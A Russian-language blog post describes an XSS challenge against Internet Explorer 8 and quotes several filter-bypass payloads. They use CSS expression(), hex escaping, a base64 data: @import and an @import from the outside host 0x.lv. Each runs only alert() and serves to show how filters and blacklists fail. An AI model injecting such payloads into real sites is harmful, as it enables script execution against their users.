Crime on the wire
Вчера, в мною любимом twitter'е, появился твит от @0x6D6172696F (Mario), где он сообщил о проведении очередного мини-конкурса. Задание было следующим - необходимо выполнить JavaScript-код в браузере IE8 с определённым вектором. На сегодня конкурс уже пройден, хочу описать попытки и результаты.
Более полная информация о мини-конкурсе на форуме sla.ckers.org: http://sla.ckers.org/forum/read.php?24,35532. В качестве вознаграждения предлагалась новая книга Web Application Obfuscation от Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay, Mario Heiderich. Данная книга должна выйти к новому году.
Сам вектор был таким:
<style /><a href="[can be edited]">click</a>.
Но не всё так просто, как может показаться на первый взгляд.
Чтобы было повеселей, был введён ряд дополнительных условий:
Первым на форуме ответил Yosuke Hasegawa, предложив такой вариант:
<style /><a href="} body{xss:expression(alert(1))}">click</a>
Но скобки () запрещены, так что ответ не был принят.
Правила суровые и мой способ тоже не подошёл, хотя было близко к истине:
<style /><a href="}html{a:\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\39\29\29}">text</a>
А победителем вышел theharmonyguy со следующим вектором атаки:
<style /><a href="}@import/**/data:text/css%3Bbase64,Knt4OmV4cHJlc3Npb24oYWxlcnQoMSkpfQ%3D%3D;">click</a>
Это уже исправленный вариант, без пробелов.
У самого Mario была такая идея:
<style /><a href="#}@import//0x.lv/xss.css;">click</a>
Как видно, способов как обойти фильтр и выполнить свой JS-код, вагон и маленькая тележка. Поэтому и не очень удивительно, что мы регулярно читаем заголовки новостных лент, кричащих про новый червь какой-нибудь популярной социальной сети. Сократить набор допустимых символов до минимума - это тоже не решение проблемы, не говоря уж про запрещающие списки. Решение отнюдь не тривиально и требует глубоких знаний особенностей браузеров, веб-технологий.
Также напомню, что есть интересный проект, где собраны самые разные векторы атаки: HTML5 Security Cheatsheet.